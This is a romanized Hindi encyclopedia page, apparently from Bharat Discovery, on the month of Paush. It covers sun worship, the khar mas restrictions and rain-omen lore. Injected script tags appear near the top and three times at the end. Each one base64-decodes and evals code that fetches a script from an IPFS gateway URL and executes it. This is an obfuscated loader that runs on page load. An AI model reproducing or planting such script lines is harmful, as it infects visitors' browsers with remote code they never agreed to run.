पौष

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
paush
vivaran paush vikram sanvat ka dasavaan mahina ya hindoo panchaang ke anusar sal ke dasavean mahine ko paush ka mahina kaha jata hai. is mas mean hemant rritu hone se thand adhik hoti hai.
aangrezi disambar-janavari
hijari mah safar - rabiul avval
vrat evan tyohar saphala ekadashi, sujanm dvadashi, martand saptami
pichhala margashirsh
agala magh
any janakari khar mas ke andar arjun ne bhishm pitamah ko dharm yuddh mean banoan ki shaiya se vedh diya tha. saik doan banoan se viddh ho jane ke bavajood bhi bhishm pitamah ne apane pran nahian tyage. pran nahian tyagane ka mool karan yahi tha ki agar vah is khar mas mean pran tyag karate haian to unaka agala janmanarakaki or jaega.

paush vikram sanvat ka dasavaan mahina ya hindoo panchaang ke anusar sal ke dasavean mahine ko paush ka mahina kaha jata hai. is mas mean hemant rritu hone se thand adhik hoti hai. dharm granthoan ke anusar is mas mean bhag nam soory ki upasana karana chahie.

pauranik manyata

aisi manyata hai ki paush mas mean bhagavan bhaskar gyarah hajar rashmiyoan ke sath tapakar sardi se rahat dete haian. inaka varn rakt ke saman hai. shastroan mean aishvary, dharm, yash, shri, jnan aur vairagy ko hi bhag kaha gaya hai aur inase yukt ko hi bhagavan mana gaya hai. yahi karan hai ki paush mas ka bhag namak soory sakshat parabrahm ka hi svaroop mana gaya hai. paush mas mean soory ko ardhy dene tatha usake nimitt vrat karane ka bhi vishesh mahatv dharmashastroan mean ullekhit hai.  adity puran ke anusar paush mah ke har ravivar ko taanbe ke bartan mean shuddh jal, lal chandan aur lal rang ke phool dalakar soory ko ardhy dena chahie tatha vishnave nam: mantr ka jap karana chahie. is mas ke prati ravivar ko vrat rakhakar soory ko til-chaval ki khich di ka bhog lagane se manushy tejasvi banata hai.[1]

vibhinn bhraantiyaan evan adhyatmik oorja

paush mas ko lekar logoan mean anek bhraantiyaan haian. is mas mean maangalik karyo ka vidhan n hone se log man lete haian ki yah atyant nikrisht mas hai. log manate haian ki yah shubh kamoan mean nesht (kharab) phal deta hai, jabaki aisa nahian hai. rrishi-muniyoan ne paush mas ko saansarik karyo ke lie nishiddh sirph isalie kiya tha, taki log is mas mean in karyo se avakash lekar adhyatmik tarike se atmonnati kar sakean aur apani oorja ko sakriy kar sakean.

  • paush mas mean adhikaanshat: soory dhanu rashi mean rahata hai. jyotish shastr mean dhanu rashi ka svami brihaspati ko mana gaya hai. manyata hai ki devataoan ke gurudev brihaspati unake paramarshadata hone ke sath-sath manushyoan ko bhi dharm-satkarm ka jnan dete haian.
  • rrishiyoan ne saur dhanu mas ko khar mas ka nam isalie diya taki log isamean saansarik kamoan shadi, grih pravesh adi se mukt rahakar is mas ka upayog apane adhyatmik labh ke lie kar sake. apane lie to iansan sab kuchh karata hai, lekin parahit ke lie bhi vah kam kare. atmonnati ke lie satsang, tirthatan, svadhyay, granthoan ka adhyayan aur zarooratamandoan ki seva kar sake.
  • devaguru brihaspati ki rashi dhanu mean atma karak soory ki sthiti jap-tap, pooja-path, dhyan-yogabhyas ke lie preranadayak hoti hai. ham is avadhi mean adhyatmik sadhana karake chanchal man par vijay prapt kar sakate haian.
  • dharmagranthoan ke anusar, is kalakhand mean prakritik oorja iandriy-nigrah mean sahayak hoti hai. chitt saansarik vairagy ki or sahaj hi unmukh ho uthata hai. vairagy ke lie svaang rachane ki avashyakata nahian. vairagi banane ka dhoang karana hi mithyachar hai.
  • gita mean bhagavan shrikrishna ek shlok mean kahate haian ki jo purush karmeandriyoan ko hath se rokakar iandriyoan ke bhogoan ka man se chiantan karata rahata hai, vah mithyachari hai. vastut: vairagy ka tatpary sansar ko chho dakar sir mu dana ya jogiya kap de pahanana nahian hai, balki vairagy ka vastavik abhipray sansar mean rahakar grihasth jivan ke kartavy ka palan karate hue dushkarmo aur pakhand se virakti hai. vairagy sanyam ki shakti se poshit hota hai, lekin aj samaj mean atm sanyam ka abhav dikh raha hai. man par vivek ka aankush hone par hi vyakti sanyami ho sakata hai. dhanu mas mean ham adhyatmik oorja ko apane mean utar sakate haian.
  • roj ki dau d-bhag bhari ziandagi mean hamari oorja ka ksharan hota rahata hai. yah janate hue bhi ham saansarik bhogoan ke akarshan se bach nahian pate. paush mas hamean sanyami banakar adhyatmik oorja ke sanchay ka suavasar pradan karata hai. aise upayogi kalakhand ko khar mas kahakar isaki upeksha karana uchit nahian hai.
  • soory ke tej aur devaguru ki divyata se sanpann paush mas adhyatmik roop se samriddhi dayak hai.[2]

khar mas

  1. REDIRECTsaancha:mukhy

bharatiy panchaang paddhati mean prativarsh saur paush mas ko khar mas kahate haian. ise mal mas ya kala mahina bhi kaha jata hai. is mahine ka aranbh 16 disambar se hota hai aur thik makar sankraanti ko khar mas ki samapti hoti hai. khar mas ke dauran hindoo jagath mean koee bhi dharmik krity aur shubhamaangalik kary nahian kie jate haian. isake alava yah mahina anek prakar ke ghareloo aur paramparik shubhakaryoan ki charchaoan ke lie bhi varjit hai. deshachar ke anusar navavivahita kanya bhi khar mas ke andar pati ke sath sansarg nahian kar sakati hai . aur use is poore mahine ke dauran apane mayake mean akar rahana p data hai. khar mas mean sabhi prakar ke havan, vivah charcha, grih pravesh, bhoomi poojan, dviragaman, yajnopavit, vivah ya any havan karmakaand adi tak ka nishedh hai. sirph bhagavat katha ya ramayan katha ka samoohik shravan hi khar mas mean kiya jata hai. brahm puran ke anusar khar mas mean mrityu ko prapt vyaktinarakaka bhagi hota hai. arthath chahe vyakti alpayu ho ya dirghayu agar vah paush ke antargat khar mas yani mal mas ki avadhi mean apane pran tyag raha hai to nishchit roop se usaka ihalok aur paralokanarakake dvar ki taraph khulata hai.[3] 

mahattv

hiandoo dharm mean paush mas ko bahut hi punyadayi mana gaya hai. in dinoan mean hone vale mausam parivartan tatha jyotishiy yogoan ke adhar par agami varsh mean hone vali barish ka sanbhavit anuman lagaya ja sakata hai, aisa dharmagranthoan mean varnit hai. mayoor chitramh ke anusar-

kudvattasutritithishu paushe garbh: prajapate.

tada subhikshamarogyan shravanyaan varivarshanamh..

arthath paush mas ke krishna paksh ki trayodashi, chaturdashi aur amavasya ko yadi akashiy garbh ho to subhiksh ka yog banata hai. yah yog shravan ki poornima ko varsha karavata hai.

isi prakar yadi paush mas ki saptami ko adhi rat ke bad varsha ho athava badal garajean to us kshetr mean varsha kal mean barish nahian hoti, yah maharshi narad ka kathan hai. paush mas ke poorvabhadrapad nakshatr ke din yadi badal dikhaee dean, garajean ya barasean, iandradhanush ya bijaliyaan chamakati dikhaee dean to achchhi varsha hoti hai. paush shukl panchami ko yadi barph gire to barish ke mausam mean bahut varsha hoti hai. paush shukl saptami ko revati, ashtami ko ashvini tatha navami ko bharani nakshatr ho aur akash mean bijali chamakati dikhaee de to pavas kal mean paryapt hoti hai. paush ki ekadashi ko rohini nakshatr mean varsha ho to varshakal mean achchhi barish hoti hai.

mayoor chitramh ke anusar-

shuklayaan yadi saptamyaan ghanairachchhaditan nabh:.

tadasthachchhravan masi saptamyaan vrishtiroottama:..

isake anusar yadi paush shukl saptami ko badal hoan to shravan shukl saptami ko achchhi varsha ka yog banata hai.[4]



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. paush mas praranbh, karean soory ki upasana (hiandi) dainik bhaskar. abhigaman tithi: 22 joon, 2013.
  2. paush mas mean jagaean adhyatmik oorja (hiandi) jagaran d aaut k aaum. abhigaman tithi: 22 joon, 2013.
  3. joshi, pan. keval anand. kyoan hota hai khar mas? (hiandi) navabharat taims. abhigaman tithi: 22 joon, 2013.
  4. paush mas se janean, kaisi hogi agale sal barish (hiandi) apaka-akhtar khan "akela". abhigaman tithi: 22 joon, 2013.

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>